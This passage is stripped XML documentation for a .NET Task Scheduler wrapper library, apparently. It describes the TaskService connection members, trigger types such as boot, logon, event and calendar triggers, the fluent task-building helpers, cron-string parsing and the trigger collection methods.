and persist methods be identical. For more information, see Remarks. + + The name used to retrieve the persisted information. + One of the enumeration values that specifies the sections of the security descriptor (access rules, audit rules, owner, primary group) of the securable object to save. + + + + Quick simple trigger types for the + method. + + + + At boot. + + + On system idle. + + + At logon of any user. + + + When the task is registered. + + + Hourly, starting now. + + + Daily, starting now. + + + Weekly, starting now. + + + Monthly, starting now. + + + + Known versions of the native Task Scheduler library. This can be used as a decoder for the + and values. + + + + Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + + + Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + + Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + + + Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + + + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + + + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016 post build 1703). + + + Provides access to the Task Scheduler service for managing registered tasks. + + + Creates a new instance of a TaskService connecting to the local machine as the current user. + + + Initializes a new instance of the class. + + The name of the computer that you want to connect to. If the this parameter is empty, then this will connect to the local computer. + + + The user name that is used during the connection to the computer. If the user is not specified, then the current token is used. + + The domain of the user specified in the parameter. + + The password that is used to connect to the computer. If the user name and password are not specified, then the current token is used. + + If set to true force Task Scheduler 1.0 compatibility. + + + Delegate for methods that support update calls during COM handler execution. + The percentage of completion (0 to 100). + An optional message. + + + Occurs when the Task Scheduler is connected to the local or remote target. + + + Occurs when the Task Scheduler is disconnected from the local or remote target. + + + Gets a local instance of the using the current user's credentials. + Local user instance. + + + + Gets the library version. This is the highest version supported by the local library. Tasks cannot be created using any + compatibility level higher than this version. + + The library version. + + The following table list the various versions and their host operating system: + + + Version + Operating System + + + 1.1 + Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + + + 1.2 + Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + + 1.3 + Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + + + 1.4 + Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + + + 1.5 + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + + + 1.6 + Task Scheduler 2.4 (Windows® 10 Version 1703, Windows Server™ 2016 Version 1703). + + + + + + + Gets or sets a value indicating whether to allow tasks from later OS versions with new properties to be retrieved as read only tasks. + + true if allow read only tasks; otherwise, false. + + + Gets the name of the domain to which the computer is connected. + + + Gets the name of the user that is connected to the Task Scheduler service. + + + Gets the highest version of Task Scheduler that a computer supports. + + The following table list the various versions and their host operating system: + + + Version + Operating System + + + 1.1 + Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + + + 1.2 + Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + + 1.3 + Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + + + 1.4 + Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + + + 1.5 + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + + + 1.6 + Task Scheduler 2.4 (Windows® 10 Version 1703, Windows Server™ 2016 Version 1703). + + + + + + Gets the root ("\") folder. For Task Scheduler 1.0, this is the only folder. + + + Gets or sets the name of the computer that is running the Task Scheduler service that the user is connected to. + + + Gets or sets the user account domain to be used when connecting to the . + The user account domain. + + + Gets or sets the user name to be used when connecting to the . + The user name. + + + Gets or sets the user password to be used when connecting to the . + The user password. + + + Gets a which enumerates all the tasks in all folders. + A for all instances. + + + Gets a Boolean value that indicates if you are connected to the Task Scheduler service. + + + + Gets the connection token for this instance. This token is thread safe and can be used to create new + instances on other threads using the static method. + + The connection token. + + + Gets a value indicating whether the component can raise an event. + + + + Creates a new instance from a token. Given that a TaskService instance is thread specific, this is the + preferred method for multi-thread creation or asynchronous method parameters. + + The token. + A instance valid for the thread calling this method. + + + Gets a formatted string that tells the Task Scheduler to retrieve a string from a resource .dll file. + The path to the .dll file that contains the resource. + The identifier for the resource text (typically a negative number). + A string in the format of $(@ [dllPath], [resourceId]). + + For example, the setting this property value to $(@ %SystemRoot%\System32\ResourceName.dll, -101) will set the property to the + value of the resource text with an identifier equal to -101 in the %SystemRoot%\System32\ResourceName.dll file. + + + + + Runs an action that is defined via a COM handler. COM CLSID must be registered to an object that implements the + interface. + + The CLSID of the COM object. + An optional string passed to the COM object at startup. + The number of milliseconds to wait or -1 for indefinitely. + + An optional delegate that is called when the COM object calls the + method. + + The value set by the COM object via a call to the method. + + + + Runs an action that is defined via a COM handler. COM CLSID must be registered to an object that implements the + interface. + + The CLSID of the COM object. + The action to run on thread completion. + An optional string passed to the COM object at startup. + The number of milliseconds to wait or -1 for indefinitely. + + An optional delegate that is called when the COM object calls the + method. + + + + Adds or updates an Automatic Maintenance Task on the connected machine. + Name of the task with full path. + The amount of time the task needs once executed during regular Automatic maintenance. + + The amount of time after which the Task Scheduler attempts to run the task during emergency Automatic maintenance, if the task + failed to complete during regular Automatic Maintenance. + + The path to an executable file. + The arguments associated with the command-line operation. + + The directory that contains either the executable file or the files that are used by the executable file. + + A instance of the Automatic Maintenance Task. + + Automatic Maintenance tasks are only supported on Windows 8/Server 2012 and later. + + + + Creates a new task, registers the task, and returns the instance. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value + that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot + be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + + The to determine when to run the task. + The to determine what happens when the task is triggered. + The user credentials used to register the task. + The password for the userId used to register the task. + + A value that defines what logon technique is used to run the registered task. + + The task description. + A instance of the registered task. + + This method is shorthand for creating a new TaskDescription, adding a trigger and action, and then registering it in the root folder. + + + + + + + + + Creates a new task, registers the task, and returns the instance. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value + that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot + be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + + The to determine when to run the task. + The executable path. + The arguments (optional). Value can be NULL. + The user credentials used to register the task. + The password for the userId used to register the task. + + A value that defines what logon technique is used to run the registered task. + + The task description. + A instance of the registered task. + + + + + + + + Signals the object that initialization is starting. + + + Signals the object that initialization is complete. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Finds all tasks matching a name or standard wildcards. + Name of the task in regular expression form. + if set to true search all sub folders. + An array of containing all tasks matching . + + + Finds all tasks matching a name or standard wildcards. + The filter used to determine tasks to select. + if set to true search all sub folders. + An array of containing all tasks matching . + + + Finds a task given a name and standard wildcards. + The task name. This can include the wildcards * or ?. + if set to true search all sub folders. + A if one matches , otherwise NULL. + + + Gets the event log for this instance. + (Optional) The task path if only the events for a single task are desired. + A instance. + + + Gets the path to a folder of registered tasks. + + The path to the folder to retrieve. Do not use a backslash following the last folder name in the path. The root task folder is + specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character + cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + + instance for the requested folder or null if was unrecognized. + + Folder other than the root (\) was requested on a system not supporting Task Scheduler 2.0. + + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Gets a collection of running tasks. + True to include hidden tasks. + instance with the list of running tasks. + + + Gets the task with the specified path. + The task path. + + The instance matching the , if found. If not found, this method returns null. + + + + + Returns an empty task definition object to be filled in with settings and properties and then registered using the + method. + + A instance for setting properties. + + + Returns a populated with the properties defined in an XML file. + The XML file to use as input. + A instance. + Importing from an XML file is only supported under Task Scheduler 2.0. + + + Starts the Task Scheduler UI for the OS hosting the assembly if the session is running in interactive mode. + + + + Releases the unmanaged resources used by the and optionally releases the managed resources. + + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + Connects this instance of the class to a running Task Scheduler. + + + Finds the task in folder. + The folder. + The wildcard expression to compare task names with. + The results. + if set to true recurse folders. + True if any tasks are found, False if not. + + + Finds the task in folder. + The folder. + The filter to use when looking for tasks. + The results. + if set to true recurse folders. + True if any tasks are found, False if not. + + + + Represents a valid, connected session to a Task Scheduler instance. This token is thread-safe and should be the means of passing + information about a between threads. + + + + Initial call for a Fluent model of creating a task. + The path of the program to run. + An instance. + + + + Abstract base class which provides the common properties that are inherited by all trigger classes. A trigger can be created using the + or the method. + + + + Creates a trigger using a cron string. + String using cron defined syntax for specifying a time interval. See remarks for syntax. + Array of representing the specified cron string. + Unsupported cron string. + + This method does not support all combinations of cron strings. Please test extensively before use. Please post an issue with any + syntax that should work, but doesn't. + The following combinations are known not to work: + + Intervals on months (e.g. "* * * */5 *") + Intervals on DOW (e.g. "* * * * MON/3") + + + This section borrows liberally from the site http://www.nncron.ru/help/EN/working/cron-format.htm. The cron format consists of five fields separated + by white spaces: + + + <Minute> <Hour> <Day_of_the_Month> <Month_of_the_Year> <Day_of_the_Week> + + Each item has bounds as defined by the following: + + * * * * * + | | | | | + | | | | +---- Day of the Week (range: 1-7, 1 standing for Monday) + | | | +------ Month of the Year (range: 1-12) + | | +-------- Day of the Month (range: 1-31) + | +---------- Hour (range: 0-23) + +------------ Minute (range: 0-59) + + Any of these 5 fields may be an asterisk (*). This would mean the entire range of possible values, i.e. each minute, each hour, etc. + + Any of the first 4 fields can be a question mark ("?"). It stands for the current time, i.e. when a field is processed, the current time will be + substituted for the question mark: minutes for Minute field, hour for Hour field, day of the month for Day of month field and month for Month field. + + Any field may contain a list of values separated by commas, (e.g. 1,3,7) or a range of values (two integers separated by a hyphen, e.g. 1-5). + + After an asterisk (*) or a range of values, you can use character / to specify that values are repeated over and over with a certain interval between + them. For example, you can write "0-23/2" in Hour field to specify that some action should be performed every two hours (it will have the same effect + as "0,2,4,6,8,10,12,14,16,18,20,22"); value "*/4" in Minute field means that the action should be performed every 4 minutes, "1-30/3" means the same + as "1,4,7,10,13,16,19,22,25,28". + + + + + In testing and may change. Do not use until officially introduced into library. + + + Gets or sets a Boolean value that indicates whether the trigger is enabled. + + + Gets or sets the date and time when the trigger is deactivated. The trigger cannot start the task after it is deactivated. + + + Version 1 (1.1 on all systems prior to Vista) of the native library only allows for the Day, Month and Year values of the structure. + + + Version 2 (1.2 or higher) of the native library only allows for both date and time and all values. However, the user + interface and methods will always show the time translated to local time. The library makes every attempt to + maintain the Kind value. When using the UI elements provided in the TaskSchedulerEditor library, the "Synchronize across time zones" checkbox will be + checked if the Kind is Local or Utc. If the Kind is Unspecified and the user selects the checkbox, the Kind will be changed to Utc and the time + adjusted from the value displayed as the local time. + + + + + + Gets or sets the maximum amount of time that the task launched by this trigger is allowed to run. Not available with Task Scheduler 1.0. + + Not supported under Task Scheduler 1.0. + + + Gets or sets the identifier for the trigger. Cannot set with Task Scheduler 1.0. + Not supported under Task Scheduler 1.0. + + + + Gets a instance that indicates how often the task is run and how long the repetition pattern is repeated after the + task is started. + + + + Gets or sets the date and time when the trigger is activated. + + + Version 1 (1.1 on all systems prior to Vista) of the native library only allows for values where the + is unspecified. If the DateTime value Kind is then it will be used as is. If the + DateTime value Kind is then it will be converted to the local time and then used. + + + Version 2 (1.2 or higher) of the native library only allows for all values. However, the user interface and + methods will always show the time translated to local time. The library makes every attempt to maintain the Kind + value. When using the UI elements provided in the TaskSchedulerEditor library, the "Synchronize across time zones" checkbox will be checked if the + Kind is Local or Utc. If the Kind is Unspecified and the user selects the checkbox, the Kind will be changed to Utc and the time adjusted from the + value displayed as the local time. + + + Under Version 2, when converting the string used in the native library for this value (ITrigger.Startboundary) this library will behave as follows: + + YYYY-MM-DDTHH:MM:SS format uses DateTimeKind.Unspecified and the time specified. + YYYY-MM-DDTHH:MM:SSZ format uses DateTimeKind.Utc and the time specified as the GMT time. + YYYY-MM-DDTHH:MM:SS±HH:MM format uses DateTimeKind.Local and the time specified in that time zone. + + + + + + Gets the type of the trigger. + The of the trigger. + + + Creates the specified trigger. + Type of the trigger to instantiate. + of specified type. + + + Creates a new that is an unbound copy of this instance. + A new that is an unbound copy of this instance. + + + + Compares the current instance with another object of the same type and returns an integer that indicates whether the current instance precedes, + follows, or occurs in the same position in the sort order as the other object. + + An object to compare with this instance. + A value that indicates the relative order of the objects being compared. + + + + Copies the properties from another the current instance. This will not copy any properties associated with any derived triggers + except those supporting the interface. + + The source . + + + Releases all resources used by this class. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Sets the repetition. + + The amount of time between each restart of the task. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + + The duration of how long the pattern is repeated. The minimum time allowed is one minute. If TimeSpan.Zero is specified, the pattern is + repeated indefinitely. + + if set to true the running instance of the task is stopped at the end of repetition pattern duration. + + + Returns a string representing this trigger. + String value of trigger. + + + Returns a that represents this trigger in a specific language. + The language of the resulting string. + String value of trigger. + + + Gets the best time span string. + The to display. + Either the full string representation created by TimeSpan2 or the default TimeSpan representation. + + + Assigns the unbound TriggerData structure to the V1 trigger instance. + + + Checks the bind value for any conversion. + The key (property) name. + The value. + + + Gets the unbound value or a default. + Return type. + The property name. + The default value if not found in unbound value list. + The unbound value, if set, or the default value. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Fluent helper class. Not intended for use. + + + Adds a trigger that executes at logon of all users. + instance. + + + Adds a trigger that executes at logon of a specific user. + The user id. + instance. + + + Adds a trigger that executes at task registration. + instance. + + + Adds a trigger that executes every day or week. + The interval of days or weeks. + instance. + + + Adds a trigger that executes monthly on specific days. + The months of the year in which to run. + instance. + + + Adds a working directory to the . + The directory. + instance. + + + Adds a trigger that executes monthly on certain days of the week. + The days of the week on which to run. + instance. + + + Adds a trigger that executes at system startup. + instance. + + + Adds a trigger that executes once at a specific time. + instance. + + + Adds a trigger that executes when system is idle. + instance. + + + Adds a trigger that executes once at specified state change. + Type of the change. + instance. + + + Adds arguments to the . + The arguments. + instance. + + + Fluent helper class. Not intended for use. + + + Transitions to settings syntax. + + + Assigns the name of the task and registers it. + The name. + A registered instance. + + + Assigns the name of the task and registers it. + The name. + A union of flags. + The user credentials used to register the task. + The password for the userId used to register the task. + A value that defines what logon technique is used to run the registered task. + A registered instance. + + + Fluent helper class. Not intended for use. + + + Specifies that an Every target uses days as the interval. + instance. + + + Specifies that an Every target uses weeks as the interval. + instance. + + + Fluent helper class. Not intended for use. + + + Updates a monthly trigger to specify in which weeks of the month it will run. + The week. + instance. + + + Updates a monthly trigger to specify the months of the year in which it will run. + The month of the year. + instance. + + + Fluent helper class. Not intended for use. + + + Updates a monthly trigger to specify the days of the month on which it will run. + The days. + instance. + + + Fluent helper class. Not intended for use. + + + Indicates that the task will be started even if the computer is running on battery power. + instance. + + + + Indicates that the task will be started even if the task is triggered to run in a Remote Applications Integrated Locally + (RAIL) session. + + instance. + + + Sets the task data to a string. + instance. + + + Sets the amount of time that the Task Scheduler will wait before deleting the task after it expires. + instance. + + + Indicates that the task cannot be started with the Run command or the Context menu. + instance. + + + Indicates that the task may not be terminated by using TerminateProcess. + instance. + + + Sets the amount of time that is allowed to complete the task. + instance. + + + Sets the policy that defines how the Task Scheduler handles multiple instances of the task. + instance. + + + Indicates that the task will not be stopped if the computer switches to battery power. + instance. + + + Indicates that the Task Scheduler will run the task only if the computer is in an idle condition. + instance. + + + Indicates that the Task Scheduler will run the task only when a network is available. + instance. + + + Sets the priority level of the task. + instance. + + + Sets a value that specifies how long the Task Scheduler will attempt to restart the task. + instance. + + + Indicates that the Task Scheduler can start the task at any time after its scheduled time has passed. + instance. + + + Indicates that the Task Scheduler will wake the computer when it is time to run the task. + instance. + + + Fluent helper class. Not intended for use. + + + Specifies a date on which a trigger will no longer run. + The year. + The month. + The day. + instance. + + + Specifies a date and time on which a trigger will no longer run. + The year. + The month. + The day. + The hour. + The min. + The sec. + instance. + + + Specifies a date and time on which a trigger will no longer run. + A string representing a DateTime and parsable via . + instance. + + + Specifies a date and time on which a trigger will no longer run. + The DateTime value. + instance. + + + Determines whether this trigger is disabled. + instance. + + + Specifies a repetition interval for the trigger. + The interval span. + instance. + + + Specifies a repetition interval for the trigger. + The interval span string. Must be parsable by . + instance. + + + Specifies the maximum amount of time to repeat the execution of a trigger. + The duration span. + instance. + + + Specifies the maximum amount of time to repeat the execution of a trigger. + The duration span string. Must be parsable by . + instance. + + + Specifies a date on which a trigger will start. + The year. + The month. + The day. + instance. + + + Specifies a date and time on which a trigger will start. + The year. + The month. + The day. + The hour. + The min. + The sec. + instance. + + + Specifies a date and time on which a trigger will start. + A string representing a DateTime and parsable via . + instance. + + + Specifies a date and time on which a trigger will start. + The DateTime value. + instance. + + + Fluent helper class. Not intended for use. + + + Updates a weekly trigger to specify the days of the week on which it will run. + The days of the week. + instance. + + + Fluent helper class. Not intended for use. + + + Values for days of the week (Monday, Tuesday, etc.) + + + Sunday + + + Monday + + + Tuesday + + + Wednesday + + + Thursday + + + Friday + + + Saturday + + + All days + + + Values for months of the year (January, February, etc.) + + + January + + + February + + + March + + + April + + + May + + + June + + + July + + + August + + + September + + + October + + + November + + + December + + + All months + + + Defines the type of triggers that can be used by tasks. + + + Triggers the task when a specific event occurs. Version 1.2 only. + + + Triggers the task at a specific time of day. + + + Triggers the task on a daily schedule. + + + Triggers the task on a weekly schedule. + + + Triggers the task on a monthly schedule. + + + Triggers the task on a monthly day-of-week schedule. + + + Triggers the task when the computer goes into an idle state. + + + Triggers the task when the task is registered. Version 1.2 only. + + + Triggers the task when the computer boots. + + + Triggers the task when a specific user logs on. + + + Triggers the task when a specific user session state changes. Version 1.2 only. + + + Triggers the custom trigger. Version 1.3 only. + + + Values for week of month (first, second, ..., last) + + + First week of the month + + + Second week of the month + + + Third week of the month + + + Fourth week of the month + + + Last week of the month + + + Every week of the month + + + Interface that categorizes the trigger as a calendar trigger. + + + Interface for triggers that support a delay. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + Interface for triggers that support a user identifier. + + + Gets or sets the user for the . + + + Represents a trigger that starts a task when the system is booted. + A BootTrigger will fire when the system starts. It can only be delayed. All triggers that support a delay implement the ITriggerDelay interface. + + + + + + + + Creates an unbound instance of a . + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + Not supported under Task Scheduler 1.0. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a custom trigger. This class is based on undocumented features and may change. This type of trigger is only available for reading custom + triggers. It cannot be used to create custom triggers. + + + + Gets a value that indicates the amount of time between the trigger events and when the task is started. + This value cannot be set. + + + Gets the name of the custom trigger type. + The name of the XML element representing this custom trigger. + + + Gets the properties from the XML definition if possible. + + + Clones this instance. + This method will always throw an exception. + CustomTrigger cannot be cloned due to OS restrictions. + + + Updates custom properties from XML provided by definition. + The XML from the TaskDefinition. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task based on a daily schedule. For example, the task starts at a specific time every day, every other day, every + third day, and so on. + + A DailyTrigger will fire at a specified time every day or interval of days. + + + + + + + + Creates an unbound instance of a . + Interval between the days in the schedule. + + + Sets or retrieves the interval between the days in the schedule. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with any derived triggers + except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task when a system event occurs. Only available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 + and later. + + The EventTrigger runs when a system event fires. + + + "; + eTrigger.ValueQueries.Add("Name", "Value"); + ]]> + + + + + Creates an unbound instance of a . + + + Initializes an unbound instance of the class and sets a basic event. + The event's log. + The event's source. Can be null. + The event's id. Can be null. + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + + + Gets or sets the XPath query string that identifies the event that fires the trigger. + + + + Gets a collection of named XPath queries. Each query in the collection is applied to the last matching event XML returned from the subscription query + specified in the Subscription property. The name of the query can be used as a variable in the message of a action. + + + + Builds an event log XML query string based on the input parameters. + The event's log. + The event's source. Can be null. + The event's id. Can be null. + XML query string. + log + + + + Copies the properties from another the current instance. This will not copy any properties associated with any derived triggers + except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets basic event information. + The event's log. + The event's source. Can be null. + The event's id. Can be null. + true if subscription represents a basic event, false if not. + + + + Sets the subscription for a basic event. This will replace the contents of the property and clear all entries in the + property. + + The event's log. + The event's source. Can be null. + The event's id. Can be null. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task when the computer goes into an idle state. For information about idle conditions, see Task Idle Conditions. + + + An IdleTrigger will fire when the system becomes idle. It is generally a good practice to set a limit on how long it can run using the ExecutionTimeLimit property. + + + + + + + + + Creates an unbound instance of a . + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task when a user logs on. When the Task Scheduler service starts, all logged-on users are enumerated and any tasks + registered with logon triggers that match the logged on user are run. Not available on Task Scheduler 1.0. + + A LogonTrigger will fire after a user logs on. It can only be delayed. Under V2, you can specify which user it applies to. + + + + + + + + Creates an unbound instance of a . + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + Not supported under Task Scheduler 1.0. + + + + Gets or sets The identifier of the user. For example, "MyDomain\MyName" or for a local account, "Administrator". + This property can be in one of the following formats: + • User name or SID: The task is started when the user logs on to the computer. + • NULL: The task is started when any user logs on to the computer. + + + If you want a task to be triggered when any member of a group logs on to the computer rather than when a specific user logs on, then do not assign a + value to the LogonTrigger.UserId property. Instead, create a logon trigger with an empty LogonTrigger.UserId property and assign a value to the + principal for the task using the Principal.GroupId property. + + Not supported under Task Scheduler 1.0. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task on a monthly day-of-week schedule. For example, the task starts on every first Thursday, May through October. + + + + Creates an unbound instance of a . + The days of the week. + The months of the year. + The weeks of the month. + + + Gets or sets the days of the week during which the task runs. + + + Gets or sets the months of the year during which the task runs. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task runs on the last week of the month. + Not supported under Task Scheduler 1.0. + + + Gets or sets the weeks of the month during which the task runs. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with any derived triggers + except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Reads the subclass XML for V1 streams. + The reader. + + + Writes the subclass XML for V1 streams. + The writer. + + + Represents a trigger that starts a job based on a monthly schedule. For example, the task starts on specific days of specific months. + + + Creates an unbound instance of a . + + The day of the month. This must be a value between 1 and 32. If this value is set to 32, then the + value will be set and no days will be added regardless of the month. + + The months of the year. + + + Gets or sets the days of the month during which the task runs. + + + Gets or sets the months of the year during which the task runs. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task runs on the last day of the month. + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with any derived triggers + except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Converts an array of bit indices into a mask with bits turned ON at every index contained in the array. Indices must be from 1 to 32 and bits are + numbered the same. + + An array with an element for each bit of the mask which is ON. + An integer to be interpreted as a mask. + + + Compares two collections. + Item type of collections. + The first collection. + The second collection + true if the collections values are equal; false otherwise. + + + + Convert an integer representing a mask to an array where each element contains the index of a bit that is ON in the mask. Bits are considered to + number from 1 to 32. + + An integer to be interpreted as a mask. + An array with an element for each bit of the mask which is ON. + + + Reads the subclass XML for V1 streams. + The reader. + + + + Represents a trigger that starts a task when the task is registered or updated. Not available on Task Scheduler 1.0. Only available for Task + Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + + The RegistrationTrigger will fire after the task is registered (saved). It is advisable to put in a delay. + + + + + + + + Creates an unbound instance of a . + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + Not supported under Task Scheduler 1.0. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Defines how often the task is run and how long the repetition pattern is repeated after the task is started. + This can be used directly or by assignment for a . + + + + + + + + Initializes a new instance of the class. + + The amount of time between each restart of the task. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + + The duration of how long the pattern is repeated. The minimum time allowed is one minute. If TimeSpan.Zero is specified, the pattern is + repeated indefinitely. + + If set to true the running instance of the task is stopped at the end of repetition pattern duration. + + + Gets or sets how long the pattern is repeated. + + The duration that the pattern is repeated. The minimum time allowed is one minute. If TimeSpan.Zero is specified, the pattern is repeated indefinitely. + + If you specify a repetition duration for a task, you must also specify the repetition interval. + + + Gets or sets the amount of time between each restart of the task. + The amount of time between each restart of the task. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + If you specify a repetition duration for a task, you must also specify the repetition interval. + The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + + Gets or sets a Boolean value that indicates if a running instance of the task is stopped at the end of repetition pattern duration. + + + Releases all resources used by this class. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Determines whether any properties for this have been set. + true if properties have been set; otherwise, false. + + + + Triggers tasks for console connect or disconnect, remote connect or disconnect, or workstation lock or unlock notifications. Only available for + Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + + + The SessionStateChangeTrigger will fire after six different system events: connecting or disconnecting locally or remotely, or locking or unlocking the session. + + + + + + + + + Creates an unbound instance of a . + + + Initializes a new instance of the class. + The state change. + The user identifier. + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + + + Gets or sets the kind of Terminal Server session change that would trigger a task launch. + + + Gets or sets the user for the Terminal Server session. When a session state change is detected for this user, a task is started. + + + + Copies the properties from another the current instance. This will not copy any properties associated with any derived triggers + except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Returns a value indicating if the StateChange property has been set. + StateChange property has been set. + + + Represents a trigger that starts a task at a specific date and time. + A TimeTrigger runs at a specified date and time. + + + + + + + + Creates an unbound instance of a . + + + Creates an unbound instance of a and assigns the execution time. + Date and time for the trigger to fire. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task based on a weekly schedule. For example, the task starts at 8:00 A.M. on a specific day of the week every week or + every other week. + + A WeeklyTrigger runs at a specified time on specified days of the week every week or interval of weeks. + + + + + + + + Creates an unbound instance of a . + The days of the week. + The interval between the weeks in the schedule. + + + Gets or sets the days of the week on which the task runs. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets the interval between the weeks in the schedule. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with any derived triggers + except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Reads the subclass XML for V1 streams. + The reader. + + + Writes the subclass XML for V1 streams. + The writer. + + + + Provides the methods that are used to add to, remove from, and get the triggers of a task. + + + + + Gets the number of triggers in the collection. + + + + + Gets or sets a specified trigger from the collection. + + + The . + + The id () of the trigger to be retrieved. + + Specialized instance. + + + + + Mismatching Id for trigger and lookup. + + + + Gets a specified trigger from the collection. + + The index of the trigger to be retrieved. + Specialized instance. + + + + Add an unbound to the task. + + A type derived from . + derivative to add to the task. + Bound trigger. + unboundTrigger is null. + + + + Add a new trigger to the collections of triggers for the task. + + The type of trigger to create. + A instance of the specified type. + + + + Adds a collection of unbound triggers to the end of the . + + The triggers to be added to the end of the . The collection itself cannot be null and cannot contain null elements. + is null. + + + + Clears all triggers from the task. + + + + + Determines whether the contains a specific value. + + The object to locate in the . + + true if is found in the ; otherwise, false. + + + + + Determines whether the specified trigger type is contained in this collection. + + Type of the trigger. + + true if the specified trigger type is contained in this collection; otherwise, false. + + + + + Copies the elements of the to an , starting at a particular index. + + The one-dimensional that is the destination of the elements copied from . The must have zero-based indexing. + The zero-based index in at which copying begins. + + + + Copies the elements of the to a array, starting at a particular array index. + + The zero-based index in the source at which copying begins. + The array that is the destination of the elements copied from . The array must have zero-based indexing. + The zero-based index in array at which copying begins. + The number of elements to copy. + is null. + is less than 0. + The number of elements in 